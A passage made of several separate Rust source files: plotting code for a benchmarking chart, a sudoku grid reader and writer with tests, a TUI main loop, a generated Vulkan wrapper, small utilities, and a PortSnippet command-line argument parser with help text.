.margin((5).percent()) .set_label_area_size(LabelAreaPosition::Left, (5).percent_width().min(60)) .set_label_area_size(LabelAreaPosition::Bottom, (5).percent_height().min(40)) .build_ranged(x_range, y_range) .unwrap(); chart .configure_mesh() .disable_mesh() .x_desc(format!("Input{}", input_suffix)) .y_desc(format!("Average time ({})", y_unit)) .draw() .unwrap(); for (id, (name, curve)) in data.iter().enumerate() { let series = chart .draw_series( LineSeries::new( curve.to_points(), colors.comparison_colors[id % colors.comparison_colors.len()].filled(), ) .point_size(POINT_SIZE), ) .unwrap(); if let Some(name) = name { let name: &str = &*name; series.label(name).legend(move |(x, y)| { Rectangle::new( [(x, y - 5), (x + 20, y + 5)], colors.comparison_colors[id % colors.comparison_colors.len()].filled(), ) }); } } chart .configure_series_labels() .position(SeriesLabelPosition::UpperLeft) .draw() .unwrap(); } pub fn violin( colors: &Colors, path: PathBuf, title: &str, unit: &str, axis_scale: AxisScale, lines: &[(&str, LineCurve)], ) { let mut x_range = plotters::data::fitting_range(lines.iter().flat_map(|(_, curve)| curve.xs.iter())); x_range.start = 0.0; let y_range = -0.5..lines.len() as f64 - 0.5; let size = (960, 150 + (18 * lines.len() as u32)); let root_area = SVGBackend::new(&path, size) .into_drawing_area() .titled(&format!("{}: Violin plot", title), (DEFAULT_FONT, 20)) .unwrap(); match axis_scale { AxisScale::Linear => draw_violin_figure(colors, root_area, &unit, x_range, y_range, lines), AxisScale::Logarithmic => { draw_violin_figure(colors, root_area, &unit, LogRange(x_range), y_range, lines) } } } fn draw_violin_figure<XR: AsRangedCoord<Value = f64>, YR: AsRangedCoord<Value = f64>>( colors: &Colors, root_area: DrawingArea<SVGBackend, Shift>, unit: &str, x_range: XR, y_range: YR, data: &[(&str, LineCurve)], ) { let mut chart = ChartBuilder::on(&root_area) .margin((5).percent()) .set_label_area_size(LabelAreaPosition::Left, (10).percent_width().min(60)) .set_label_area_size(LabelAreaPosition::Bottom, (5).percent_width().min(40)) .build_ranged(x_range, y_range) .unwrap(); chart .configure_mesh() .disable_mesh() .y_desc("Input") .x_desc(format!("Average time ({})", unit)) .y_label_style((DEFAULT_FONT, 10)) .y_label_formatter(&|v: &f64| data[v.round() as usize].0.to_string()) .y_labels(data.len()) .draw() .unwrap(); for (i, (_, curve)) in data.iter().enumerate() { let base = i as f64; chart .draw_series(AreaSeries::new( curve.to_points().map(|(x, y)| (x, base + y / 2.0)), base, &colors.current_sample, )) .unwrap(); chart .draw_series(AreaSeries::new( curve.to_points().map(|(x, y)| (x, base - y / 2.0)), base, &colors.current_sample, )) .unwrap(); } }
use std::error::Error as StdError; use std::fmt; use std::io; use std::ops::{Range, RangeTo}; use super::grid::Grid; /// Function capable of parsing cells, given a `&str`. pub type CellParserFn = Fn(&str) -> Result<Option<usize>, Box<StdError>>; /// Reads iterator of lines to construct a `Grid`. /// /// # Examples /// /// ```rust /// # use std::error; /// # use std::io; /// use rusudoku::grid::io::{CellParserFn, GridReader}; /// /// fn hex_cell(token: &str) -> Result<Option<usize>, Box<std::error::Error>> { /// let chars = "_123456789ABCDEF0"; /// if token.len() == 1 { /// if let Some(i) = chars.find(token) { /// return Ok(if i > 0 { Some(i) } else { None }) /// } /// } /// Err(Box::new("".parse::<usize>().unwrap_err())) /// } /// /// let mut reader = GridReader::new(); /// reader.set_size_range(16); /// reader.set_cell_parser(Box::new(hex_cell) as Box<CellParserFn>); /// let input = "whatever"; /// let mut lines = input.lines().map(|line| Ok(line.to_string())); /// let grid_or_err = reader.read(&mut lines); /// ``` pub struct GridReader { size_range: Range<usize>, cell_parser: Box<CellParserFn>, } impl GridReader { /// Returns a new `GridReader` with reasonable defaults. /// /// The `GridReader` will accept grids with a size of up to 1024, and expects filled cells /// be represented as decimal numbers, while empty cells are represented as underscores, /// question marks, or a few other characters. pub fn new() -> GridReader { fn cell_parser(token: &str) -> Result<Option<usize>, Box<StdError>> { match token { "?" | "_" | "-" | "." | "*" | "X" => Ok(None), _ => token.parse::<usize>().map(Some) .map_err(|err| Box::new(err) as Box<StdError>), } } GridReader { size_range: SizeRange::from(1..1025).0, cell_parser: Box::new(cell_parser), } } /// Sets what grid sizes may be parsed. /// /// `range` may be one of several types: /// /// * `usize`: Indicates the only size accepted. /// * `Range<usize>` or `RangeTo<usize>`: Indicates a range of accepted sizes. Note that the /// upper bound is excluded, indicating lowest size rejected. pub fn set_size_range<T>(&mut self, range: T) where SizeRange: From<T> { self.size_range = SizeRange::from(range).0; } fn is_allowed_size(&self, size: usize) -> bool { self.size_range.start <= size && size < self.size_range.end } /// Controls how cells are parsed. /// /// `cell_parser` should be a closure taking a `&str` token (guaranteed to have no whitespace) /// and returning a `Result` containing either an `Option<size>` (indicated a successful /// parse of a numbered or empty cell), or a `Box<std::error::Error>` (indicating an /// arbitrary parse error). pub fn set_cell_parser(&mut self, cell_parser: Box<CellParserFn>) { self.cell_parser = cell_parser; } /// Constructs a `Grid` from an iterator of lines. /// /// Consumes lines from the given iterator until it encounters one consisting of whitespace, /// where each line is interpreted as a row, with each cell separated by whitespace. /// The rows must form a square (with an allowed size determined by `set_size_filter(...)`). /// Any errors encountered will halt consumption of lines mid-way. pub fn read<I>(&self, lines: &mut I) -> Result<Grid, Error> where I: Iterator<Item=io::Result<String>> { let rows = self.parse_rows(lines)?; Ok(GridReader::rows_to_grid(rows)) } fn parse_rows<I>(&self, lines: &mut I) -> Result<Vec<Vec<Option<usize>>>, Error> where I: Iterator<Item=io::Result<String>> { let mut rows = vec!(); for (y, line) in (0..self.size_range.end+1).zip(lines) { let line = line?; let cells = line.split_whitespace() .map(|token| (*self.cell_parser)(token)) .zip(0..self.size_range.end+1) .map(|(result, x)| result.map_err(|e| Error::CellParse{ x: x, y: y, cause: e } )); let cells: Vec<_> = self.coerce_oversized_errors(cells.collect())?; if cells.len() == 0 { break; } rows.push(cells) } if !self.is_allowed_size(rows.len()) { return Err(Error::GridSize{size: rows.len(), expected: self.size_range.clone()}); } for (y, row) in rows.iter().enumerate() { if row.len() != rows.len() { return Err(Error::RowLength { y: y, size: row.len(), expected: rows.len() }); } } GridReader::check_cell_values(&rows)?; Ok(rows) } // It might be confusing for parse_rows() to return ParseCell errors for cells that // fall outside of allowed sizes, so we convert such errors into GridSize or RowLength // errors. The advantage of using RowLength errors is that it can convey information // about WHICH row was too long. fn coerce_oversized_errors<T>(&self, result: Result<T, Error>) -> Result<T, Error> { let max_size = self.size_range.end - 1; match result { Err(Error::CellParse{y, ..}) if y == max_size => Err(Error::GridSize{ size: max_size + 1, expected: self.size_range.clone() }), Err(Error::CellParse{x, y, ..}) if x == max_size => Err(Error::RowLength { y: y, size: max_size + 1, expected: max_size }), _ => result, } } fn check_cell_values(rows: &Vec<Vec<Option<usize>>>) -> Result<(), Error> { let max = rows.len(); for (y, row) in rows.iter().enumerate() { for (x, &cell) in row.iter().enumerate() { if let Some(value) = cell { if value < 1 || max < value { return Err(Error::CellValue{ x: x, y: y, value: value, expected: 1..max+1 }); } } } } Ok(()) } fn rows_to_grid(rows: Vec<Vec<Option<usize>>>) -> Grid { let mut grid = Grid::new(rows.len()); for (src_cell, (_, dst_cell)) in rows.into_iter() .flat_map(|row| row.into_iter()) .zip(grid.cells_mut()) { if let Some(value) = src_cell { for possibility in dst_cell.iter_mut() { *possibility = false; } dst_cell[value-1] = true; } } grid } } /// A helper type for representing a range of grid-sizes that can be parsed. /// /// This exists to simulate overloading `GridReader.set_size_range()` pub struct SizeRange(Range<usize>); impl From<RangeTo<usize>> for SizeRange { fn from(range: RangeTo<usize>) -> Self { SizeRange(1..range.end) } } impl From<Range<usize>> for SizeRange { fn from(range: Range<usize>) -> Self { SizeRange(range) } } impl From<usize> for SizeRange { fn from(size: usize) -> Self { SizeRange(size..size+1) } } /// A function capable of writing cells, given a buffer, a width, and a cell. pub type CellWriterFn = Fn(&mut fmt::Write, usize, Option<usize>) -> fmt::Result; /// Writes a `Grid` to a `std::fmt::Write` /// /// # Examples /// /// ```rust /// # use std::fmt; /// # use rusudoku::grid::Grid; /// use rusudoku::grid::io::{CellWriterFn, GridWriter}; /// /// fn hex_cell(w: &mut std::fmt::Write, width: usize, cell: Option<usize>) -> std::fmt::Result { /// let chars: Vec<_> = "_123456789ABCDEF0".chars().collect(); /// write!(w, "{:>1$}", chars[cell.unwrap_or(0)], width) /// } /// /// let grid = Grid::new(16); /// // add_constraints(grid); /// let mut writer = GridWriter::new(); /// writer.set_cell_writer(Box::new(hex_cell) as Box<CellWriterFn>); /// let mut output = String::new(); /// writer.write(&mut output, &grid).unwrap(); /// ``` pub struct GridWriter { cell_writer: Box<CellWriterFn>, } impl GridWriter { /// Returns a new `GridWriter` with reasonable defaults. /// /// In particular, cells are written as right-align decimal numbers with empty cells /// displayed as underscores. pub fn new() -> GridWriter { GridWriter { cell_writer: CellWriter::from("_").0, } } /// Controls how cells are written. /// /// `writer` may be one of two types: /// /// * `&str`: When a cell has a value, it's printed as a right-aligned decimal number. /// Empty cells are depicted with the given `&str`, right aligned. /// * `Box<Fn(&mut std::fmt::Write, usize, Option<usize>) -> std::fmt::Result>`: Allows /// full control over cell formatting. The given function is passed a `&mut Write`, the /// desired cell width in characters, and the value of the cell. It's expected to `write!` /// the cell's contents to the `Write` and return a `std::fmt::Result`. pub fn set_cell_writer<T>(&mut self, writer: T) where CellWriter: From<T> { self.cell_writer = CellWriter::from(writer).0; } /// Prints a `Grid` to a `std::fmt::Formatter`. /// /// The Grid is printed as multiple lines of text, each representing a row. Each /// row is a whitespace-separated sequence of cells, with empty cells printed /// according to `set_empty_cell(...)`. pub fn write(&self, w: &mut fmt::Write, grid: &Grid) -> fmt::Result { // Buggy, but only for stuff too large to fit on the screen. // Maybe calculate this via formatting instead? let num_width = (grid.size() as f64).log(10.0).floor() as usize + 1; let whitespace = (0..grid.size()).rev().cycle().map(|x| if x == 0 {"\n"} else {" "}); // Iterator of Option<usize>, where Some(x) indicates sole possibility for that cell let cells = grid.cells().map(|(_, possibilities)| { let mut possibilities = possibilities.iter(); let number = possibilities.by_ref().position(|&possible| possible).map(|n| n + 1); if possibilities.any(|&b| b) {None} else {number} // Return None if >1 possibilities }); for (cell, ws) in cells.zip(whitespace) { (*self.cell_writer)(w, num_width, cell)?; write!(w, "{}", ws)?; } Ok(()) } } /// A helper type for representing ways of writing a cell. /// /// This exists to simulate overloading `GridWritier.set_cell_writer()` pub struct CellWriter(Box<CellWriterFn>); impl From<Box<CellWriterFn>> for CellWriter { fn from(closure: Box<CellWriterFn>) -> Self { CellWriter(closure) } } impl<'a> From<&'a str> for CellWriter { fn from(empty: &str) -> Self { let empty = empty.to_string(); CellWriter(Box::new(move |w: &mut fmt::Write, width, cell| { match cell { Some(x) => write!(w, "{:>1$}", x, width), None => write!(w, "{:>1$}", empty, width), } })) } } /// Grid read error. /// /// Indicates a problem with reading a `Grid`. #[derive(Debug)] pub enum Error { /// Wraps any `std::io::Error` that occurs during reading. IO(io::Error), /// Indicates that a cell could not be parsed. CellParse { /// Column of error, counting from 0. x: usize, /// Row of error, counting from 0. y: usize, /// The particular parsing problem that caused the error. cause: Box<StdError>, }, CellValue { /// Column of error, counting from 0. x: usize, /// Row of error, counting from 0. y: usize, /// The value found. value: usize, /// The range of values that would be ok. expected: Range<usize>, }, /// Indicates that a particular row of a `Grid` was the wrong length. RowLength { /// Row of error, counting from 0. y: usize, /// The actual length of the row. size: usize, /// The length the row should have been. expected: usize, }, /// Indicates attempt to read a `Grid` of an unacceptable size. GridSize { /// The attempted size of the grid. size: usize, /// The range of grid sizes that can be read. expected: Range<usize>, }, } impl fmt::Display for Error { fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { match *self { Error::IO(ref err) => write!(f, "{}", err.description()), Error::CellParse{x, y, ref cause} => write!(f, "grid parse failed at {}/{} ({})", x, y, cause.description()), Error::CellValue{x, y, value, ref expected} => write!(f, "cell value at {}/{} was {}, but should be from {} to {}", x, y, value, expected.start, expected.end - 1), Error::RowLength{y, size, expected} => write!(f, "grid row {} has length of {}, but {} was expected", y, size, expected), Error::GridSize{size, ref expected} => write!(f, "grid size was {}, but should be from {} to {}", size, expected.start, expected.end - 1), } } } impl StdError for Error { fn description(&self) -> &str { match *self { Error::IO(ref err) => err.description(), Error::CellParse{..} => "failed to parse cell", Error::CellValue{..} => "cell contained bad value", Error::RowLength{..} => "grid row length wrong", Error::GridSize{..} => "grid had unacceptable size", } } fn cause<'a>(&'a self) -> Option<&'a StdError> { match *self { Error::IO(ref err) => Some(err), Error::CellParse{cause: ref err, ..} => Some(&**err), _ => None, } } } impl From<io::Error> for Error { fn from(err: io::Error) -> Error { Error::IO(err) } } #[cfg(test)] mod tests { use std::error; use std::fmt; use std::num; use super::*; fn roundtrip(input: &str) -> Result<String, Error> { let mut lines = input.lines().map(|line| Ok(line.to_string())); let mut output = String::new(); let reader = GridReader::new(); let writer = GridWriter::new(); let grid = reader.read(&mut lines)?; writer.write(&mut output, &grid).unwrap(); Ok(output) } #[test] fn test_classic9_roundtrip() { let puzzle = "5 3 _ _ 7 _ _ _ _\n\ 6 _ _ 1 9 5 _ _ _\n\ _ 9 8 _ _ _ _ 6 _\n\ 8 _ _ _ 6 _ _ _ 3\n\ 4 _ _ 8 _ 3 _ _ 1\n\ 7 _ _ _ 2 _ _ _ 6\n\ _ 6 _ _ _ _ 2 8 _\n\ _ _ _ 4 1 9 _ _ 5\n\ _ _ _ _ 8 _ _ 7 9\n"; assert_eq!(roundtrip(puzzle).unwrap(), puzzle); } #[test] fn test_partial16_roundtrip() { let puzzle = " 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16\n \ _ 3 _ _ _ _ _ _ _ _ _ _ _ _ _ _\n \ _ _ 4 _ _ _ _ _ _ _ _ _ _ _ _ _\n \ _ _ _ 5 _ _ _ _ _ _ _ _ _ _ _ _\n \ _ _ _ _ 6 _ _ _ _ _ _ _ _ _ _ _\n \ _ _ _ _ _ 7 _ _ _ _ _ _ _ _ _ _\n \ _ _ _ _ _ _ 8 _ _ _ _ _ _ _ _ _\n \ _ _ _ _ _ _ _ 9 _ _ _ _ _ _ _ _\n \ _ _ _ _ _ _ _ _ 10 _ _ _ _ _ _ _\n \ _ _ _ _ _ _ _ _ _ 11 _ _ _ _ _ _\n \ _ _ _ _ _ _ _ _ _ _ 12 _ _ _ _ _\n \ _ _ _ _ _ _ _ _ _ _ _ 13 _ _ _ _\n \ _ _ _ _ _ _ _ _ _ _ _ _ 14 _ _ _\n \ _ _ _ _ _ _ _ _ _ _ _ _ _ 15 _ _\n \ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 16 _\n \ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 1\n"; assert_eq!(roundtrip(puzzle).unwrap(), puzzle); } #[test] fn test_empty_cell_normalization() { let puzzle = "? _ -\n\ . * X\n\ 1 2 3\n"; let expected = "_ _ _\n\ _ _ _\n\ 1 2 3\n"; assert_eq!(roundtrip(puzzle).unwrap(), expected); } #[test] fn test_whitespace_normalization() { let puzzle = " _ _ \n\t_\t_\t\n"; let expected = "_ _\n_ _\n"; assert_eq!(roundtrip(puzzle).unwrap(), expected); } #[test] fn test_set_size_range() { let mut reader = GridReader::new(); reader.set_size_range(5); assert_eq!(reader.size_range, 5..6); reader.set_size_range(9..26); assert_eq!(reader.size_range, 9..26); reader.set_size_range(..256); assert_eq!(reader.size_range, 1..256); } #[test] fn test_handles_conflicted_puzzles() { let puzzle = "1 1\n1 1\n"; assert_eq!(roundtrip(puzzle).unwrap(), puzzle); } #[test] fn test_cell_parse_error() { let puzzle = "1 2 3 4\n\ 2 3 WTF 1\n\ 3 4 1 2\n\ 4 1 2 3\n"; match roundtrip(puzzle).unwrap_err() { Error::CellParse{x, y, ref cause} => { assert_eq!((x, y), (2, 1)); cause.downcast_ref::<num::ParseIntError>().expect("Cause wasn't parse error"); }, err => panic!("Wrong error: {}", err), } } #[test] fn test_cell_value_too_low() { let puzzle = "1 2 3 4\n\ 2 3 4 0\n\ 3 4 1 2\n\ 4 1 2 3\n"; match roundtrip(puzzle).unwrap_err() { Error::CellValue{x, y, value, expected} => { assert_eq!((x, y), (3, 1)); assert_eq!(value, 0); assert_eq!(expected, 1..5); }, err => panic!("Wrong error: {}", err), } } #[test] fn test_cell_value_too_high() { let puzzle = "1 2 3 4\n\ 2 3 4 1\n\ 3 5 1 2\n\ 4 1 2 3\n"; match roundtrip(puzzle).unwrap_err() { Error::CellValue{x, y, value, expected} => { assert_eq!((x, y), (1, 2)); assert_eq!(value, 5); assert_eq!(expected, 1..5); }, err => panic!("Wrong error: {}", err), } } #[test] fn test_too_few_rows() { let puzzle = "1 2 3 4\n\ 2 3 4 1\n\ 3 4 1 2\n"; let mut lines = puzzle.lines().map(|line| Ok(line.to_string())); let mut reader = GridReader::new(); reader.set_size_range(4); match reader.read(&mut lines) { Err(Error::GridSize{size, expected}) => { assert_eq!(size, 3); assert_eq!(expected, 4..5); }, _ => panic!("Wrong result"), } } #[test] fn test_too_many_rows() { let puzzle = "1 2 3 4\n\ 2 3 4 1\n\ 3 4 1 2\n\ 4 1 2 3\n\ 1 2 3 4\n"; let mut lines = puzzle.lines().map(|line| Ok(line.to_string())); let mut reader = GridReader::new(); reader.set_size_range(4); match reader.read(&mut lines) { Err(Error::GridSize{size, expected}) => { assert_eq!(size, 5); assert_eq!(expected, 4..5); }, _ => panic!("Wrong result"), } } #[test] fn test_row_too_short() { let puzzle = "1 2 3 4\n\ 2 3 4 1\n\ 3 4 2\n\ 4 1 2 3\n"; let mut lines = puzzle.lines().map(|line| Ok(line.to_string())); let mut reader = GridReader::new(); reader.set_size_range(4); match reader.read(&mut lines) { Err(Error::RowLength{y, size, expected}) => { assert_eq!(y, 2); assert_eq!(size, 3); assert_eq!(expected, 4); }, _ => panic!("Wrong result"), } } #[test] fn test_row_too_long() { let puzzle = "1 2 3 4\n\ 2 3 4 1 2\n\ 3 4 1 2\n\ 4 1 2 3\n"; let mut lines = puzzle.lines().map(|line| Ok(line.to_string())); let mut reader = GridReader::new(); reader.set_size_range(4); match reader.read(&mut lines) { Err(Error::RowLength{y, size, expected}) => { assert_eq!(y, 1); assert_eq!(size, 5); assert_eq!(expected, 4); }, _ => panic!("Wrong result"), } } #[test] fn test_grid_size_vs_cell_parse_errors() { let puzzle = "1 2 3 4\n\ 2 3 4 1\n\ 3 4 1 2\n\ 4 1 2 3\n\ WTF\n"; let mut lines = puzzle.lines().map(|line| Ok(line.to_string())); let mut reader = GridReader::new(); reader.set_size_range(4); match reader.read(&mut lines) { Err(Error::GridSize{size, expected}) => { assert_eq!(size, 5); assert_eq!(expected, 4..5); }, Err(err) => panic!("Wrong error: {:?}", err), _ => panic!("Failed to error out"), } } #[test] fn test_row_length_vs_cell_parse_errors() { let puzzle = "1 2 3 4\n\ 2 3 4 1 WTF\n\ 3 4 1 2\n\ 4 1 2 3\n"; let mut lines = puzzle.lines().map(|line| Ok(line.to_string())); let mut reader = GridReader::new(); reader.set_size_range(4); match reader.read(&mut lines) { Err(Error::RowLength{y, size, expected}) => { assert_eq!(y, 1); assert_eq!(size, 5); assert_eq!(expected, 4); }, Err(err) => panic!("Wrong error: {:?}", err), _ => panic!("Failed to error out"), } } #[test] fn test_custom_parsing_and_formatting() { let puzzle = "A B C D \n\ B None None A \n\ None D A None\n\ D A B C \n"; fn parse_cell(token: &str) -> Result<Option<usize>, Box<error::Error>> { Ok(Some(match token { "A" => 1, "B" => 2, "C" => 3, "D" => 4, "None" => return Ok(None), _ => return Err(Box::new("".parse::<usize>().unwrap_err())), })) } fn write_cell(w: &mut fmt::Write, _width: usize, cell: Option<usize>) -> fmt::Result { let descriptions = ["None", "A", "B", "C", "D"]; let i = match cell { Some(x) => x, None => 0, }; write!(w, "{:<4}", descriptions[i]) } let mut lines = puzzle.lines().map(|line| Ok(line.to_string())); let mut output = String::new(); let mut reader = GridReader::new(); let mut writer = GridWriter::new(); reader.set_cell_parser(Box::new(parse_cell)); writer.set_cell_writer(Box::new(write_cell) as Box<CellWriterFn>); let grid = reader.read(&mut lines).unwrap(); writer.write(&mut output, &grid).unwrap(); assert_eq!(output, puzzle); } }
mod event; mod tcpdiag; mod cli; mod table; use cli::CLI; use event::{Event, Events}; use std::{error::Error, io}; use termion::{event::Key, input::MouseTerminal, raw::IntoRawMode, screen::AlternateScreen}; use std::panic::{self, PanicInfo}; use backtrace::Backtrace; use tui::{ backend::TermionBackend, Terminal, }; fn panic_hook(info: &PanicInfo<'_>) { if cfg!(debug_assertions) { let location = info.location().unwrap(); let msg = match info.payload().downcast_ref::<&'static str>() { Some(s) => *s, None => match info.payload().downcast_ref::<String>() { Some(s) => &s[..], None => "Box<Any>", }, }; let stacktrace: String = format!("{:?}", Backtrace::new()).replace('\n', "\n\r"); println!( "{}thread '<unnamed>' panicked at '{}', {}\n\r{}", termion::screen::ToMainScreen, msg, location, stacktrace ); } } fn main() -> Result<(), Box<dyn Error>> { panic::set_hook(Box::new(|info| { panic_hook(info); })); // Terminal initialization let stdout = io::stdout().into_raw_mode()?; let stdout = MouseTerminal::from(stdout); let stdout = AlternateScreen::from(stdout); let backend = TermionBackend::new(stdout); let mut terminal = Terminal::new(backend)?; terminal.hide_cursor()?; let events = Events::new(); let mut app = CLI::new(); // Input loop { terminal.draw(|mut f| app.render(&mut f))?; match events.next()? { Event::Input(key) => match key { Key::Char('q') => { break; } Key::Down | Key::Char('j') => { app.overview.next(); } Key::Up | Key::Char('k') => { app.overview.previous(); } Key::Char('\n') => { app.enter_detail_view(); } Key::Char('b') => { app.exit_detail_view(); } _ => {} }, Event::Tick => { app.on_tick(); } }; } Ok(()) }
use crate::*; pub enum Event { Platform(platform::PlatformEvent), Input(input::InputEvent), PreRunPlaceholder, ProcessFrame, }
// Generated by `scripts/generate.js` use std::os::raw::c_char; use std::ops::Deref; use std::ptr; use std::cmp; use std::mem; use utils::c_bindings::*; use utils::vk_convert::*; use utils::vk_null::*; use utils::vk_ptr::*; use utils::vk_traits::*; use vulkan::vk::*; use vulkan::khr::{VkTransformMatrix,RawVkTransformMatrix}; use vulkan::khr::{VkGeometryInstanceFlags,RawVkGeometryInstanceFlags}; /// Wrapper for [VkAccelerationStructureInstanceKHR](https://www.khronos.org/registry/vulkan/specs/1.2-extensions/man/html/VkAccelerationStructureInstanceKHR.html). #[derive(Debug, Clone)] pub struct VkAccelerationStructureInstance { pub transform: VkTransformMatrix, pub instance_custom_index: usize, pub mask: u32, pub instance_shader_binding_table_record_offset: usize, pub flags: VkGeometryInstanceFlags, pub acceleration_structure_reference: usize, } #[doc(hidden)] #[repr(C)] #[derive(Debug, Copy, Clone)] pub struct RawVkAccelerationStructureInstance { pub transform: RawVkTransformMatrix, pub instance_custom_index: u32, pub mask: u32, pub instance_shader_binding_table_record_offset: u32, pub flags: RawVkGeometryInstanceFlags, pub acceleration_structure_reference: u64, } impl VkWrappedType<RawVkAccelerationStructureInstance> for VkAccelerationStructureInstance { fn vk_to_raw(src: &VkAccelerationStructureInstance, dst: &mut RawVkAccelerationStructureInstance) { dst.transform = vk_to_raw_value(&src.transform); dst.instance_custom_index = vk_to_raw_value(&src.instance_custom_index); dst.mask = src.mask; dst.instance_shader_binding_table_record_offset = vk_to_raw_value(&src.instance_shader_binding_table_record_offset); dst.flags = vk_to_raw_value(&src.flags); dst.acceleration_structure_reference = vk_to_raw_value(&src.acceleration_structure_reference); } } impl VkRawType<VkAccelerationStructureInstance> for RawVkAccelerationStructureInstance { fn vk_to_wrapped(src: &RawVkAccelerationStructureInstance) -> VkAccelerationStructureInstance { VkAccelerationStructureInstance { transform: RawVkTransformMatrix::vk_to_wrapped(&src.transform), instance_custom_index: u32::vk_to_wrapped(&src.instance_custom_index), mask: src.mask, instance_shader_binding_table_record_offset: u32::vk_to_wrapped(&src.instance_shader_binding_table_record_offset), flags: RawVkGeometryInstanceFlags::vk_to_wrapped(&src.flags), acceleration_structure_reference: u64::vk_to_wrapped(&src.acceleration_structure_reference), } } } impl Default for VkAccelerationStructureInstance { fn default() -> VkAccelerationStructureInstance { VkAccelerationStructureInstance { transform: Default::default(), instance_custom_index: 0, mask: 0, instance_shader_binding_table_record_offset: 0, flags: Default::default(), acceleration_structure_reference: 0, } } } impl VkSetup for VkAccelerationStructureInstance { fn vk_setup(&mut self, fn_table: *mut VkFunctionTable) { VkSetup::vk_setup(&mut self.transform, fn_table); } } impl VkFree for RawVkAccelerationStructureInstance { fn vk_free(&self) { } }
use super::point::Point; use super::vector::Vector; pub struct Ray { pub origin: Point, pub direction: Vector } impl Ray { pub fn new(origin: Point, direction: Vector) -> Ray { Ray { origin: origin, direction: direction } } }
use crate::lib::environment::Environment; use crate::lib::error::DfxResult; use clap::Clap; /// Forces unpacking the cache from this dfx version. #[derive(Clap)] #[clap(name("install"))] pub struct CacheInstall {} pub fn exec(env: &dyn Environment, _opts: CacheInstall) -> DfxResult { env.get_cache().force_install() }
use std::{collections::HashSet, io::prelude::*}; use aoc_2020::day_01::*; fn main() { let filename = std::env::args().nth(1).unwrap(); let file = std::fs::File::open(filename).expect("Couldn't open input file"); let input: HashSet<i64> = std::io::BufReader::new(file) .lines() .map(|line| line.unwrap().parse().unwrap()) .collect(); if let Some(solution) = part1(&input) { println!("Part 1: {}", solution); } else { println!("No solution for part 1"); } if let Some(solution) = part2(&input) { println!("Part 2: {}", solution); } else { println!("No solution for part 2"); } }
#[derive(Debug, PartialEq)] pub enum LaunchType { Man, // 直接人間が起動させた場合 Daemon, // cron処理でpcが起動させた場合 Stop, // PortSnippetを停止する Restart, // PortSnippetを再起動する Help, // help } struct Params { man: String, daemon: String, stop: String, restart: String, help: String, } const AUTO_LAUNCH_PARAM: &str = "AUTO_LAUNCH"; const MAN_PARAM: &str = "man"; const STOP_PARAM: &str = "stop"; const RESTART_PARAM: &str = "restart"; const HELP_PARAM: &str = "help"; // パラメータ(引数)からLaunchTypeを特定する #[cfg(debug_assertions)] // デバッグ用 pub fn detect_type(_args: Vec<String>) -> LaunchType { return LaunchType::Daemon; } #[cfg(not(debug_assertions))] // リリース用 pub fn detect_type(args: Vec<String>) -> LaunchType { if args.len() != 2 { return LaunchType::Man; } if args[1] == AUTO_LAUNCH_PARAM { return LaunchType::Daemon; } for i in 0..2 { let short = i == 0; let params = get_params(short); let man = params.man.as_str(); let stop = params.stop.as_str(); let restart = params.restart.as_str(); let help = params.help.as_str(); if &args[1] == man { return LaunchType::Daemon; } else if &args[1] == stop { return LaunchType::Stop; } else if &args[1] == restart { return LaunchType::Restart; } else if &args[1] == help { return LaunchType::Help; } } return LaunchType::Man; } // パラメータ一覧を取得 fn get_params(short: bool) -> Params { let mut man = MAN_PARAM.to_string(); let mut daemon = AUTO_LAUNCH_PARAM.to_string(); let mut stop = STOP_PARAM.to_string(); let mut restart = RESTART_PARAM.to_string(); let mut help = HELP_PARAM.to_string(); if short { man = format!("-{}", man.chars().take(1).collect::<String>()); daemon = format!("-{}", daemon.chars().take(1).collect::<String>()); stop = format!("-{}", stop.chars().take(1).collect::<String>()); restart = format!("-{}", restart.chars().take(1).collect::<String>()); help = format!("-{}", help.chars().take(1).collect::<String>()); } return Params { man: man, daemon: daemon, stop: stop, restart: restart, help: help, }; } const HELP_MESSAGE: &str = r#" /$$$$$$$ /$$ /$$$$$$ /$$ /$$ | $$__ $$ | $$ /$$__ $$ |__/ | $$ | $$ \ $$ /$$$$$$ /$$$$$$ /$$$$$$ | $$ \__/ /$$$$$$$ /$$ /$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$ | $$$$$$$//$$__ $$ /$$__ $$|_ $$_/ | $$$$$$ | $$__ $$| $$ /$$__ $$ /$$__ $$ /$$__ $$|_ $$_/ | $$____/| $$ \ $$| $$ \__/ | $$ \____ $$| $$ \ $$| $$| $$ \ $$| $$ \ $$| $$$$$$$$ | $$ | $$ | $$ | $$| $$ | $$ /$$ /$$ \ $$| $$ | $$| $$| $$ | $$| $$ | $$| $$_____/ | $$ /$$ | $$ | $$$$$$/| $$ | $$$$/| $$$$$$/| $$ | $$| $$| $$$$$$$/| $$$$$$$/| $$$$$$$ | $$$$/ |__/ \______/ |__/ \___/ \______/ |__/ |__/|__/| $$____/ | $$____/ \_______/ \___/ | $$ | $$ | $$ | $$ |__/ |__/ > Dynamic Snippet for VSCode. > https://github.com/YuigaWada/PortSnippet > Dev: @YuigaWada usage: ./port_snippet [OPTION] ... OPTION: -m, man: run portsnippet as a foreground process. -s, stop: stop a background portsnippet's processs. -r, restart: restart a background portsnippet's processs. -h, help: print this help messages. config: You need put a config file on the same dir as the exe binary of portsnippet. { "snippets_dir": "", "dirs": [ "" ], "files": [ "" ] } meta tags: Put meta tags between your code that you want to save as a snippet! // #PORT# // name: "" // prefix: "" // description: "" // #PORT_END ... Some Codes ... // #PORT_END "#; // ヘルプを表示 pub fn print_help() { println!("{}",HELP_MESSAGE); } #[cfg(test)] #[cfg(not(debug_assertions))] mod tests { use crate::argparser::*; // util fn gen_mock_args(arg: &str) -> Vec<String> { return vec!["MOCK_EXE_PATH".to_string(), arg.to_string()]; } // shorts #[test] fn daemon_valid() { let launch_type = detect_type(gen_mock_args("AUTO_LAUNCH")); assert_eq!(launch_type, LaunchType::Daemon); } #[test] fn short_daemon_invalid() { let launch_type = detect_type(gen_mock_args("-A")); assert_ne!(launch_type, LaunchType::Daemon); // not! } #[test] fn short_man_valid() { let launch_type = detect_type(gen_mock_args("-m")); assert_eq!(launch_type, LaunchType::Daemon); } #[test] fn short_stop_valid() { let launch_type = detect_type(gen_mock_args("-s")); assert_eq!(launch_type, LaunchType::Stop); } #[test] fn short_restart_valid() { let launch_type = detect_type(gen_mock_args("-r")); assert_eq!(launch_type, 